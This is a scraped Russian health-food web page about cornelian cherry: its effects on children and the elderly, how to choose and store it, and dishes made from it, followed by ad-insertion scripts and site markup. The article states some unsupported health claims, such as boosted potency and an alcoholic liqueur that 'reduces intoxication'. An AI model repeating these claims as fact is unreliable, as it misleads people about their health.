746<li>Проще справляться с повышенными нагрузками;</li>
747<li>Быстрее восстанавливаться;</li>
748<li>Эффективно бороться с заболеваниями.</li>
749</ul>
750<p>Положительный эффект ягоды оказывают и на половую систему. У мужчин повышается потенция и усиливается влечение.</p>
751<h3>Для детей</h3>
752<p>Помимо витаминов, кизил содержит в своём составе сложные для переваривания вещества. Поэтому в полной мере вводить его в рацион можно только после 3 лет. Начинать прикорм детей меньшего возраста можно, но осторожно и строго соблюдая рекомендованные врачами дозировки. В противном случае можно столкнуться с:</p>
753<ul>
754<li>Тяжестью в желудке;</li>
755<li>Желудочной коликой;</li>
756<li>Запорами;</li>
757<li>Дискомфортными ощущениями в разных отделах ЖКТ.</li>
758</ul>
759<p>При чрезмерном употреблении ягодки и вовсе могут вызвать тошноту и рвоту. Также высок риск проявления аллерÐ
759³Ð¸Ð¸.</p>
760<h3>Для пожилых людей</h3>
761<p>В пожилом возрасте к ягодам лучше относиться осторожно. Их тонизирующий эффект и специфическое влияние на ЖКТ может привести к обострению хронических проблем. Так что перед тем как добавлять новое лакомство в свой рацион лучше проконсультироваться со врачом.</p>
762<h2 id="kak-vybrat-kizil">Как выбирать</h2>
763<p>При выборе ягод стоит обратить внимание на три критерия:</p>
764<ul>
765<li>Цвет - поверхность должна быть ярко-красной, без светлых пятен;</li>
766<li>Целостность - на кожице не должно быть повреждений, царапин и гнили;</li>
767<li>Текстура - плоды не должны быть слишком твёрдыми или мягкими.</li>
768</ul>
769<p>Также можно отметить запах - у спелых ягодок он будет заметным и приятным. Если все факторы сошлись, вкус наверняка не разочарует.</p>
770<h2 id="kak-hranit-kizil">Как хранить</h2>
771<p>Сроки хранения зависят от того, были ли ягоды обработаны тем или иным образом. Например, свежий кизил может пролежать на полке в холодильнике до 10 дней и не утратить ни вкусовых, ни полезных качеств.</p>
772<p>Для долгого хранения подойдет сушёный или вяленый кизил. Такое лакомство сохранит свои свойства даже через 2 года. Приготовить его просто - достаточно выложить спелые ягоды в один слой на куске плотной бумаги или ткани и периодически перемешивать их, чтобы добиться равномерности. При этом место должно хорошо проветриваться и быть защищённым от прямых солнечных лучей.</p>
773<blockquote><p><b>Обратите внимание!</b> Важно, чтобы ягодки не были переспелыми, иначе засушить их не получится.</p></blockquote>
774<p>Ещё один способ продлить жизнь даров природы - заморозка. Ягоды тщательно промывают проточной водой и полностью высушивают, а затем равномерно распределяют по противню и помещают в морозилку. После заморозки можно расфасовать угощение по пакетикам для удобства хранения.</p>
775<h2 id="chto-gotoviat-iz-kizila">Что готовят из кизила</h2>
776<p>Существует масса рецептов, как из кизила самого по себе, так и с добавлением других фруктов и ягод. Чаще всего готовят:</p>
777<p><img decoding="async" src="/wp-content/uploads/2024/10/Varene-e1730198358101.jpg" alt="Варенье из кизила" class="aligncenter"></p>
778<ul>
779<li>Варенье из кизила - простое лакомство на зиму, для которого подойдут как перезрелые, так и ещё твёрдые плоды. Особый плюс этого рецепта в том, что косточки вынимать не придётся;</li>
780<li>Джем - ещё одна сладкая заготовка, в которую часто добавляют и другие компоненты для более интересного вкуса;</li>
781<li>Яблочный пирог - несмотря на то, что сочетание трудно наÐ
781·Ð²Ð°Ñ‚ÑŒ привычным, кизиловый вкус придаст изюминку домашней шарлотке;</li>
782<li>Компот - витаминный напиток с терпким вкусом, который можно хранить в кладовой годами;</li>
783<li>Вино - более экстравагантный вариант, в котором придётся подождать, пока пройдут процессы брожения. Однако итоговый вкус того стоит;</li>
784<li>Наливка - требует долгого настаивания, но пьётся легко и снижает уровень интоксикации организма;</li>
785<li>Соус - отлично подходит к мясу, но будет уместен и в других блюдах;</li>
786<li>Пастила - диетическая сладость, которая получается особенно вкусной при добавлении <a href="https://etopolezno.com/samiy-dorogoy-v-mire-orekh-i-drugiye-reko/">орехов</a>;</li>
787<li>Маринованные или солёные ягодки - готовятся также просто, как привычные огурцы и помидоры, но точно удивят гостей во время застолья.</li>
788</ul>
789<p>Насыщенный вкус кизила оставляет неисчерпаемый простор для экспериментов. А самое главное - вне зависимости от выбора блюда, Вы получите максимум пользы из ягод.</p>
790<div class="fpm_end"></div>
791<script>
792window.jsInputerLaunch = 15;
793if (typeof launchAsyncFunctionLauncher === "undefined") {
794    function launchAsyncFunctionLauncher() {
795        if (typeof asyncFunctionLauncher !== "undefined" && typeof asyncFunctionLauncher === "function") {
796            asyncFunctionLauncher();
797        } else {
798            setTimeout(function () {
799                launchAsyncFunctionLauncher();
800            }, 100)
801        }
802    }
803}
804launchAsyncFunctionLauncher();
805</script>
805<script>
806var cachedBlocksArray = [];
807cachedBlocksArray[337320] = "<!-- Yandex.RTB R-A-2473814-41 --><div id=\"yandex_rtb_R-A-2473814-41\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-41\",\"renderTo\": \"yandex_rtb_R-A-2473814-41\"})})<\/scr"+"ipt>";
808cachedBlocksArray[337319] = "<div id=\"mp_custom_10821\"><\/div> <scr"+"ipt>window.mpsuStart = window.mpsuStart || [], window.mpsuStart.push(10821);<\/scr"+"ipt>";
809cachedBlocksArray[337318] = "<div id=\"mp_custom_9973\"><\/div> <scr"+"ipt>window.mpsuStart = window.mpsuStart || [], window.mpsuStart.push(9973);<\/scr"+"ipt>";
810cachedBlocksArray[337333] = "<!-- Yandex.RTB R-A-2473814-87 --><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-87\",\"type\": \"fullscreen\",\"platform\": \"desktop\"})})<\/scr"+"ipt>";
811cachedBlocksArray[337331] = "<!-- Yandex.RTB R-A-2473814-62 --><div id=\"yandex_rtb_R-A-2473814-62\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-62\",\"renderTo\": \"yandex_rtb_R-A-2473814-62\"})})<\/scr"+"ipt>";
812cachedBlocksArray[337330] = "<div id=\"mp_custom_9030\"><\/div> <scr"+"ipt>window.mpsuStart = window.mpsuStart || [], window.mpsuStart.push(9030);<\/scr"+"ipt>";
813cachedBlocksArray[337329] = "<!-- Yandex.RTB R-A-2473814-44 --><div id=\"yandex_rtb_R-A-2473814-44\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-44\",\"renderTo\": \"yandex_rtb_R-A-2473814-44\"})})<\/scr"+"ipt>";
814cachedBlocksArray[337317] = "<!-- Yandex.RTB R-A-2473814-39 --><div id=\"yandex_rtb_R-A-2473814-39\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-39\",\"renderTo\": \"yandex_rtb_R-A-2473814-39\"})})<\/scr"+"ipt>";
815cachedBlocksArray[337326] = "<!-- Yandex.RTB R-A-2473814-36 --><div id=\"yandex_rtb_R-A-2473814-36\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-36\",\"renderTo\": \"yandex_rtb_R-A-2473814-36\",\"type\": \"feed\"})})<\/scr"+"ipt>";
816cachedBlocksArray[337325] = "<!-- Yandex.RTB R-A-2473814-16 --><div id=\"yandex_rtb_R-A-2473814-16\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-16\",\"renderTo\": \"yandex_rtb_R-A-2473814-16\"})})<\/scr"+"ipt>";
817cachedBlocksArray[337324] = "<scr"+"ipt type=\"text\/javascript\">  (    () => {      const script = document.createElement(\"script\");      script.src = \"https:\/\/cdn1.moe.video\/p\/cr.js\";      script.onload = () => {        addContentRoll({width: &#039;100%&#039;,placement: 10551,promo: true,advertCount: 30,slot: &#039;page&#039;,sound: &#039;onclick&#039;,fly:{mode: &#039;stick&#039;,width: 445,closeSecOffset: 10,position: &#039;bottom-right&#039;,indent:{left: 0,right: 0,top: 0,bottom: 0,                },positionMobile: &#039;bottom&#039;,            },        });      };      document.body.append(script);    }  )()<\/scr"+"ipt>";
818</script>
818   	</div>
819
820   </div>
821
822		</article>
823
824			
825		</div><!-- #content -->
826
827      
828		<ul class="default-wp-page clearfix">
829			<li class="previous"><a href="https://etopolezno.com/ediat-li-vegetariancy-rybu/" rel="prev"><span class="meta-nav">&larr;</span> Едят ли рыбу и морепродукты вегетарианцы</a></li>
830			<li class="next"><a href="https://etopolezno.com/med-kak-proverit/" rel="next">Как в домашних условиях проверить свежий мед на натуральность <span class="meta-nav">&rarr;</span></a></li>
831		</ul>
832	
833      
834      
835
836<div class="related-posts-main-title"><i class="fa fa-thumbs-up"></i><span>Вам также понравится</span></div>
837
838<div class="related-posts clearfix">
839
840      <div class="single-related-posts">
841
842               <div class="related-posts-thumbnail">
843            <a href="https://etopolezno.com/semena-lna-poleznyye-svoystva/" title="Семена льна применение">
844               <img width="390" height="205" src="https://etopolezno.com/wp-content/uploads/2018/10/semena-lna-foto-390x205.jpg" class="attachment-colormag-featured-post-medium size-colormag-featured-post-medium wp-post-image" alt="как выглядят семена льна фото" decoding="async" loading="lazy" srcset="https://etopolezno.com/wp-content/uploads/2018/10/semena-lna-foto-390x205.jpg 390w, https://etopolezno.com/wp-content/uploads/2018/10/semena-lna-foto-600x315.jpg 600w" sizes="(max-width: 390px) 100vw, 390px" />            </a>
845         </div>
846      
847      <div class="article-content">
848
849         <div class="entry-title">
850            <a href="https://etopolezno.com/semena-lna-poleznyye-svoystva/" rel="bookmark" title="Семена льна применение">Семена льна применение</a>
851         </div><!--/.post-title-->
852
853         <div class="below-entry-meta">
854            <span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2018-10-21T13:31:09+03:00">21.10.2018</time></span>                        
855         </div>
856
857      </div>
858
859   </div><!--/.related-->
860      <div class="single-related-posts">
861
862               <div class="related-posts-thumbnail">
863            <a href="https://etopolezno.com/sviti/" title="Свити &#8211; что это за фрукт">
864               <img width="390" height="205" src="https://etopolezno.com/wp-content/uploads/2019/12/sviti-390x205.jpg" class="attachment-colormag-featured-post-medium size-colormag-featured-post-medium wp-post-image" alt="Фрукт свити фото" decoding="async" loading="lazy" />            </a>
865         </div>
866      
867      <div class="article-content">
868
869         <div class="entry-title">
870            <a href="https://etopolezno.com/sviti/" rel="bookmark" title="Свити &#8211; что это за фрукт">Свити &#8211; что это за фрукт</a>
871         </div><!--/.post-title-->
872
873         <div class="below-entry-meta">
874            <span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2019-12-07T22:45:48+03:00">07.12.2019</time></span>                        
875         </div>
876
877      </div>
878
879   </div><!--/.related-->
880      <div class="single-related-posts">
881
882               <div class="related-posts-thumbnail">
883            <a href="https://etopolezno.com/karambola/" title="Карамбола">
884               <img width="390" height="205" src="https://etopolezno.com/wp-content/uploads/2019/11/karambola-390x205.jpg" class="attachment-colormag-featured-post-medium size-colormag-featured-post-medium wp-post-image" alt="карамбола фото" decoding="async" loading="lazy" />            </a>
885         </div>
886      
887      <div class="article-content">
888
889         <div class="entry-title">
890            <a href="https://etopolezno.com/karambola/" rel="bookmark" title="Карамбола">Карамбола</a>
891         </div><!--/.post-title-->
892
893         <div class="below-entry-meta">
894            <span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2019-11-23T12:24:06+03:00">23.11.2019</time></span>                        
895         </div>
896
897      </div>
898
899   </div><!--/.related-->
900   
901</div><!--/.post-related-->
902
903
904      
905	</div><!-- #primary -->
906
907	
908<div id="secondary">
909			
910		<aside id="custom_html-5" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget"><div class="rl_cnt_bg" data-id="337327"></div></div></aside><aside id="colormag_featured_posts_vertical_widget-2" class="widget widget_featured_posts widget_featured_posts_vertical widget_featured_meta clearfix">		<div class="widget-title"><span>Новое</span></div>								<div class="first-post">			<div class="single-article clearfix">
911				<figure><a href="https://etopolezno.com/med-kak-proverit/" title="Как в домашних условиях проверить свежий мед на натуральность"><img width="390" height="205" src="https://etopolezno.com/wp-content/uploads/2024/10/Proverka-Meda-Glav-390x205.png" class="attachment-colormag-featured-post-medium size-colormag-featured-post-medium wp-post-image" alt="Проверка мёда на натуральность в домашних условиях" decoding="async" loading="lazy" title="Как в домашних условиях проверить свежий мед на натуральность" /></a></figure>				<div class="article-content">
912					<span class="entry-title">
913						<a href="https://etopolezno.com/med-kak-proverit/" title="Как в домашних условиях проверить свежий мед на натуральность">Как в домашних условиях проверить свежий мед на натуральность</a>
914					</span>
915					<div class="below-entry-meta">
916						<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-29T14:31:01+03:00">29.10.2024</time></span>						</div>
917											<div class="entry-content">
918							<p>Мёд &#8211; это вкусное и полезное лакомство, которое выручает в сезон простуд, помогает наладить обмен веществ и просто выступает натуральным</p>
919						</div>
920									</div>
921
922			</div>
923			</div>									<div class="following-post">			<div class="single-article clearfix">
924				<figure><a href="https://etopolezno.com/kizil/" title="Кизил: вред и польза растения для здоровья"><img width="130" height="90" src="https://etopolezno.com/wp-content/uploads/2024/10/Kizil-Glav-130x90.webp" class="attachment-colormag-featured-post-small size-colormag-featured-post-small wp-post-image" alt="Кизил - вред и польза" decoding="async" loading="lazy" title="Кизил: вред и польза растения для здоровья" srcset="https://etopolezno.com/wp-content/uploads/2024/10/Kizil-Glav-130x90.webp 130w, https://etopolezno.com/wp-content/uploads/2024/10/Kizil-Glav-392x272.webp 392w" sizes="(max-width: 130px) 100vw, 130px" /></a></figure>				<div class="article-content">
925					<span class="entry-title">
926						<a href="https://etopolezno.com/kizil/" title="Кизил: вред и польза растения для здоровья">Кизил: вред и польза растения для здоровья</a>
927					</span>
928					<div class="below-entry-meta">
929						<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-29T13:43:58+03:00">29.10.2024</time></span>						</div>
930									</div>
931
932			</div>
933															<div class="single-article clearfix">
934				<figure><a href="https://etopolezno.com/ediat-li-vegetariancy-rybu/" title="Едят ли рыбу и морепродукты вегетарианцы"><img width="130" height="90" src="https://etopolezno.com/wp-content/uploads/2024/10/Ryba-Glav-130x90.jpg" class="attachment-colormag-featured-post-small size-colormag-featured-post-small wp-post-image" alt="Едят ли вегетарианцы рыбу" decoding="async" loading="lazy" title="Едят ли рыбу и морепродукты вегетарианцы" srcset="https://etopolezno.com/wp-content/uploads/2024/10/Ryba-Glav-130x90.jpg 130w, https://etopolezno.com/wp-content/uploads/2024/10/Ryba-Glav-392x272.jpg 392w" sizes="(max-width: 130px) 100v
934w, 130px" /></a></figure>				<div class="article-content">
935					<span class="entry-title">
936						<a href="https://etopolezno.com/ediat-li-vegetariancy-rybu/" title="Едят ли рыбу и морепродукты вегетарианцы">Едят ли рыбу и морепродукты вегетарианцы</a>
937					</span>
938					<div class="below-entry-meta">
939						<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-29T12:00:22+03:00">29.10.2024</time></span>						</div>
940									</div>
941
942			</div>
943															<div class="single-article clearfix">
944				<figure><a href="https://etopolezno.com/med-samyi-poleznyi-dlya-zhenshin-i-muzhchin/" title="Мед: какой самый полезный и ценный для женщин и мужчин"><img width="130" height="90" src="https://etopolezno.com/wp-content/uploads/2024/10/Med-glav-130x90.jpg" class="attachment-colormag-featured-post-small size-colormag-featured-post-small wp-post-image" alt="Сорта мёда и их свойства" decoding="async" loading="lazy" title="Мед: какой самый полезный и ценный для женщин и мужчин" srcset="https://etopolezno.com/wp-content/uploads/2024/10/Med-glav-130x90.jpg 130w, https://etopolezno.com/wp-content/uploads/2024/10/Med-glav-392x272.jpg 392w" sizes="(max-width: 130px) 100vw, 130px" /></a></figure>				<div class="article-content">
945					<span class="entry-title">
946						<a href="https://etopolezno.com/med-samyi-poleznyi-dlya-zhenshin-i-muzhchin/" title="Мед: какой самый полезный и ценный для женщин и мужчин">Мед: какой самый полезный и ценный для женщин и мужчин</a>
947					</span>
948					<div class="below-entry-meta">
949						<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-29T10:46:11+03:00">29.10.2024</time></span>						</div>
950									</div>
951
952			</div>
953															<div class="single-article clearfix">
954				<figure><a href="https://etopolezno.com/samiy-dorogoy-v-mire-orekh-i-drugiye-reko/" title="Самый дорогой в мире орех и другие рекордсмены"><img width="130" height="90" src="https://etopolezno.com/wp-content/uploads/2024/10/-e1730108308688-130x90.webp" class="attachment-colormag-featured-post-small size-colormag-featured-post-small wp-post-image" alt="Макадамия" decoding="async" loading="lazy" title="Самый дорогой в мире орех и другие рекордсмены" /></a></figure>				<div class="article-content">
955					<span class="entry-title">
956						<a href="https://etopolezno.com/samiy-dorogoy-v-mire-orekh-i-drugiye-reko/" title="Самый дорогой в мире орех и другие рекордсмены">Самый дорогой в мире орех и другие рекордсмены</a>
957					</span>
958					<div class="below-entry-meta">
959						<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-28T15:46:17+03:00">28.10.2024</time></span>						</div>
960									</div>
961
962			</div>
963						</div>		</aside><aside id="custom_html-6" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget"><div class="rl_cnt_bg" data-id="337328"></div></div></aside><aside id="custom_html-7" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget"><div class="rl_cnt_bg" data-id="337329"></div></div></aside><aside id="search-3" class="widget widget_search clearfix"><form action="https://etopolezno.com/" class="search-form searchform clearfix" method="get">
964   <div class="search-wrap">
965      <input type="text" placeholder="Поиск" class="s field" name="s">
966      <button class="search-icon" type="submit"></button>
967   </div>
968</form><!-- .searchform --></aside>
969	</div>
970	
971
972</div><!-- .inner-wrap -->
973</div><!-- #main -->
974<footer id="colophon" class="clearfix ">
975
976<div class="footer-widgets-area clearfix" style="margin-left: 12%;margin-right: 12%;">
977<div class="tg-footer-main-widget">
978<div class="tg-first-footer-widget">
979<aside id="custom_html-3" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget">
980	<form method="POST"><button class="noLink" type="submit" name="prgpattern" value="/about/" style="padding:0px;background-color: #eaeaea;color:#aaaaaa;">О нас | Контакты</button></form></div></aside></div>
981 </div>
982<div class="tg-footer-other-widgets">
983<aside id="text-4" class="widget widget_text clearfix"><div class="textwidget"><p>© EtoPolezno 2018-2022. Публикации несут информационный характер. Обязательно консультация со специалистом. При копировании материалов ссылка на сайт обязательна.</p>
984</div></aside></div></div>
985	<!--<div class="footer-socket-wrapper clearfix">
986		<div class="inner-wrap">
987			<div class="footer-socket-area">
988				<div class="footer-socket-right-section">
989									</div>
990
991				
992			</div>
993		</div>
994	</div>-->
995</footer>
996<a href="#masthead" id="scroll-up"><i class="fa fa-chevron-up"></i></a>
997</div><!-- #page -->
998<script>
999if (typeof rb_ajaxurl==='undefined') {var rb_ajaxurl = 'https://etopolezno.com/wp-admin/admin-ajax.php';}
1000if (typeof gather_content==='undefined') {var gather_content = true;}
1001if (typeof endedSc==='undefined') {var endedSc = false;}
1002if (typeof endedCc==='undefined') {var endedCc = false;}
1003if (typeof usedAdBlocksArray==='undefined') {var usedAdBlocksArray = [];}
1004if (typeof usedBlockSettingArrayIds==='undefined') {var usedBlockSettingArrayIds = [];}
1005if (typeof sameElementAfterWidth==='undefined') {var sameElementAfterWidth = false;}
1006if (typeof sameElementAfterExcClassId==='undefined') {var sameElementAfterExcClassId = false;}
1007if (typeof sameElementAfterFromConstruction==='undefined') {var sameElementAfterFromConstruction = false;}
1008if (typeof rb_tempElement_check==='undefined') {var rb_tempElement_check = false;}
1009if (typeof rb_tempElement==='undefined') {var rb_tempElement = null;}
1010if (typeof window.jsInputerLaunch==='undefined') {window.jsInputerLaunch = -1;}
1011
1012function launchUpdateRbDisplays() {
1013    if ((typeof updateRbDisplays !== 'undefined')&&(typeof updateRbDisplays === 'function')) {
1014        updateRbDisplays();
1015    } else {
1016        setTimeout(function () {
1017            launchUpdateRbDisplays();
1018        }, 200);
1019    }
1020}
1021
1022/* "sc" in variables - mark for shortcode variable */
1023function shortcodesInsert() {
1024    let gatheredBlocks = document.querySelectorAll('.percentPointerClass.scMark'),
1025        scBlockId = -1,
1026        scAdId = -1,
1027        blockStatus = '',
1028        dataFull = -1,
1029        gatheredBlockChild,
1030        okStates = ['done','refresh-wait','no-block','fetched'],
1031        scContainer,
1032        sci,
1033        i1 = 0,
1034        skyscraperCheck = [],
1035        skyscraperStatus = false,
1036        splitedSkyscraper = [],
1037        gatheredBlockChildSkyParts = [],
1038        stickyStatus = false,
1039        stickyCheck = [],
1040        stickyFixedStatus = false,
1041        stickyFixedCheck = [],
1042        overflowCheck = [],
1043        overflowStatus = false,
1044        repeatableIdentifier = "",
1045        dataCidIdentifier = null,
1046        divCidElement = '';
1047
1048    if (typeof scArray !== 'undefined') {
1049        if (scArray&&scArray.length > 0&&gatheredBlocks&&gatheredBlocks.length > 0&&typeof window.rulvW5gntb !== 'undefined') {
1050            dataCidIdentifier = window.rulvW5gntb;
1051            for (let i = 0; i < gatheredBlocks.length; i++) {
1052                gatheredBlockChild = gatheredBlocks[i].children[0];
1053                if (!gatheredBlockChild) {
1054                    continue;
1055                }
1056                scAdId = -3;
1057                blockStatus = null;
1058                scContainer = null;
1059                dataFull = -1;
1060                skyscraperStatus = false;
1061                splitedSkyscraper = [];
1062                gatheredBlockChildSkyParts = [];
1063                stickyStatus = false;
1064                stickyCheck = [];
1065                stickyFixedStatus = false;
1066                stickyFixedCheck = [];
1067                repeatableIdentifier = "";
1068                divCidElement = null;
1069
1070                scAdId = gatheredBlockChild.getAttribute('data-aid');
1071                scBlockId = gatheredBlockChild.getAttribute('data-id');
1072                blockStatus = gatheredBlockChild.getAttribute('data-state');
1073                dataFull = gatheredBlockChild.getAttribute('data-full');
1074
1075                if (scBlockId&&scAdId > 0) {
1076                    sci = -1;
1077                    for (i1 = 0; i1 < scArray.length; i1++) {
1078                        if (scBlockId == scArray[i1]['blockId']&&scAdId == scArray[i1]['adId']) {
1079                            sci = i1;
1080                        }
1081                    }
1082
1083                    if (sci > -1) {
1084                        if (blockStatus&&okStates.includes(blockStatus)) {
1085                            if (blockStatus=='no-block') {
1086                                gatheredBlockChild.innerHTML = '';
1087                            } else if ((blockStatus=='fetched'&&dataFull==1)||!['no-block','fetched'].includes(blockStatus)) {
1088                                for (let cl1 = 0; cl1 < gatheredBlocks[i].classList.length; cl1++) {
1089                                    if (gatheredBlocks[i].classList[cl1].includes("repeatable-mark")) {
1090                                        repeatableIdentifier = gatheredBlocks[i].classList[cl1];
1091                                    }
1092                                }
1093
1094                                if (repeatableIdentifier) {
1095                                    divCidElement = document.querySelectorAll(".percentPointerClass.scMark."+repeatableIdentifier+' div[data-cid="'+dataCid
1095Identifier+'"]');
1096                                } else {
1097                                    divCidElement = gatheredBlockChild.querySelectorAll('div[data-cid="'+dataCidIdentifier+'"]');
1098                                }
1099
1100                                var text = scArray[sci]['text'];
1101                                if (divCidElement&&divCidElement.length > 0) {
1102                                    for (let i2 = 0; i2 < divCidElement.length; i2++) {
1103                                        jQuery(divCidElement[i2]).html(text);
1104                                    }
1105                                } else {
1106                                    jQuery(gatheredBlockChild).html(text);
1107                                }
1108                                launchUpdateRbDisplays();
1109                            }
1110                            if (blockStatus!='fetched'||(blockStatus=='fetched'&&dataFull==1)) {
1111                                for (i1 = 0; i1 < scArray.length; i1++) {
1112                                    if (scBlockId == scArray[i1]['blockId']) {
1113                                        scArray.splice(i1, 1);
1114                                        i1--;
1115                                    }
1116                                }
1117                                gatheredBlocks[i].classList.remove('scMark');
1118                            }
1119                        }
1120                    }
1121                } else if (scBlockId&&scAdId < 1&&['no-block','fetched'].includes(blockStatus)) {
1122                    for (i1 = 0; i1 < scArray.length; i1++) {
1123                        if (scBlockId == scArray[i1]['blockId']) {
1124                            scArray.splice(i1, 1);
1125                            i1--;
1126                        }
1127                    }
1128                    gatheredBlocks[i].classList.remove('scMark');
1129                }
1130            }
1131        } else if (!scArray||(scArray&&scArray.length < 1)) {
1132            endedSc = true;
1133        }
1134    } else {
1135        endedSc = true;
1136    }
1137
1138    if (!endedSc) {
1139        setTimeout(function () {
1140            shortcodesInsert();
1141        }, 200);
1142    }
1143}
1144
1145function clearUnsuitableCache(cuc_cou) {
1146    let scAdId = -1;
1147    let ccRepeat = false;
1148
1149    let gatheredBlocks = document.querySelectorAll('.percentPointerClass .' + block_classes.join(', .percentPointerClass .'));
1150
1151    if (gatheredBlocks&&gatheredBlocks.length > 0) {
1152        for (let i = 0; i < gatheredBlocks.length; i++) {
1153            if (gatheredBlocks[i]['dataset']['aid']&&gatheredBlocks[i]['dataset']['aid'] < 0) {
1154                if ((gatheredBlocks[i]['dataset']["state"]=='no-block')||(['done','fetched','refresh-wait'].includes(gatheredBlocks[i]['dataset']["state"]))) {
1155                    gatheredBlocks[i]['innerHTML'] = '';
1156                } else {
1157                    ccRepeat = true;
1158                }
1159            } else if (!gatheredBlocks[i]['dataset']['aid']) {
1160                ccRepeat = true;
1161            }
1162        }
1163        if (cuc_cou < 50) {
1164            if (ccRepeat) {
1165                setTimeout(function () {
1166                    clearUnsuitableCache(cuc_cou+1);
1167                }, 100);
1168            }
1169        } else {
1170            endedCc = true;
1171        }
1172    } else {
1173        endedCc = true;
1174    }
1175}
1176
1177function blocksRepositionUse(containerString, blType, searchType, contentElement) {
1178    let blocksInContainer;
1179    let blLocal = blType;
1180    let currentBlock;
1181    let currentBlockId;
1182    let currentBlockPosition;
1183    let currentContainer;
1184    let i = 0;
1185    let j = 0;
1186    let blockStrJs = ' .percentPointerClass.marked';
1187    let blockStrPhp = ' .percentPointerClass:not(.marked)';
1188    let blockStr = ' .percentPointerClass';
1189    let checkPointer = null;
1190    let blockRepeatEnd = false;
1191
1192    if (searchType) {
1193        if (searchType == 'marked') {
1194            while (!blockRepeatEnd) {
1195                blLocal = blLocal.parentElement;
1196                if (blLocal) {
1197                    checkPointer = blLocal.querySelector("#content_pointer_id");
1198                    if (!checkPointer) {
1199                        blocksInContainer = jQuery(blLocal).parent(containerString);
1200                        if (blocksInContainer && blocksInContainer.length > 0) {
1201                            /* checkPointer = blocksInContainer.querySelector("#content_pointer_id"); */
1202                            checkPointer = jQuery(blocksInContainer).find("#content_pointer_id");
1203                            if (checkPointer && checkPointer.length > 0) {
1204                                blocksInContainer = null;
1205                            }
1206                            blockRepeatEnd = true;
1207                        }
1208                    } else {
1209                        blockRepeatEnd = true
1210                    }
1211                } else {
1212                    blockRepeatEnd = true
1213                }
1214            }
1215            /* blocksInContainer = jQuery(blType).parent(containerString); */
1216            if (blocksInContainer&&blocksInContainer.length > 0) {
1217                /* blocksInContainer.parentNode.insertBefore(rb_tempElement, blocksInContainer); */
1218                blocksInContainer[0].parentNode.insertBefore(rb_tempElement, blocksInContainer[0]);
1219
1220                sameElementAfterExcClassId = false;
1221                return blocksInContainer[0];
1222            }
1223            return blType;
1224        } else if (searchType == 'non-marked') {
1225            blocksInContainer = document.querySelectorAll(blType + containerString + blockStrPhp);
1226            if (blocksInContainer && blocksInContainer.length > 0 && usedBlockSettingArray && usedBlockSettingArray.length > 0) {
1227                for (i = 0; i < blocksInContainer.length; i++) {
1228                    currentBlock = blocksInContainer[i];
1229                    currentBlockId = currentBlock.querySelector('.' + block_classes.join(', .')).getAttribute('data-id');
1230                    currentContainer = null;
1231                    for (j = 0; j < usedBlockSettingArray.length; i++) {
1232                        if (usedBlockSettingArray[i]['id'] == currentBlockId) {
1233                            currentBlockPosition = usedBlockSettingArray[i]['elementPosition'];
1234                            currentContainer = currentBlock.closest(blType + containerString);
1235                            if (currentBlockPosition == 0) {
1236                                currentContainer.parentNode.insertBefore(currentBlock, currentContainer);
1237                            } else {
1238                                currentContainer.parentNode.insertBefore(currentBlock, currentContainer.nextSibling);
1239                            }
1240                            break;
1241                        }
1242                    }
1243                }
1244            }
1245        }
1246    }
1247    return false;
1248}
1249
1250function createStyleElement(blockNumber, localElementCss) {
1251    let htmlToAdd = '';
1252    let marginString;
1253    let textAlignString;
1254    let contPoi;
1255    let emptyValues = false;
1256    let elementToAddStyleLocal = document.querySelector('#blocksAlignStyle');
1257    if (!elementToAddStyleLocal) {
1258        contPoi = document.querySelector('#content_pointer_id');
1259        if (!contPoi) {
1260            return false;
1261        }
1262
1263        elementToAddStyleLocal = document.createElement('style');
1264        elementToAddStyleLocal.setAttribute('id', 'blocksAlignStyle');
1265        contPoi.parentNode.insertBefore(elementToAddStyleLocal, contPoi);
1266    }
1267
1268    switch (localElementCss) {
1269        case 'left':
1270            emptyValues = false;
1271            marginString = '0 auto 0 0';
1272            textAlignString = 'left';
1273            break;
1274        case 'right':
1275            emptyValues = false;
1276            marginString = '0 0 0 auto';
1277            textAlignString = 'right';
1278            break;
1279        case 'center':
1280            emptyValues = false;
1281            marginString = '0 auto';
1282            textAlignString = 'center';
1283            break;
1284        case 'default':
1285            emptyValues = true;
1286            marginString = 'default';
1287            textAlignString = 'default';
1288            /** here will be css */
1289            break;
1290    }
1291    if (!emptyValues) {
1292        htmlToAdd = '.percentPointerClass  > *[data-id="'+blockNumber+'"] {\n' +
1293            '    margin: '+marginString+';\n' +
1294            '}\n';
1295    }
1296
1297    elementToAddStyleLocal.innerHTML += htmlToAdd;
1298    return textAlignString;
1299}
1300
1301function initTargetToInsert(position, type, currentElement) {
1302    let posCurrentElement;
1303    let usedElement;
1304    if (type == 'element') {
1305        if (position == 0) {
1306            posCurrentElement = currentElement;
1307            if (!(typeof obligatoryMargin!=='undefined'&&obligatoryMargin===1)) {
1308                currentElement.classList.add('rfwp_removedMarginTop');
1309            }
1310        } else {
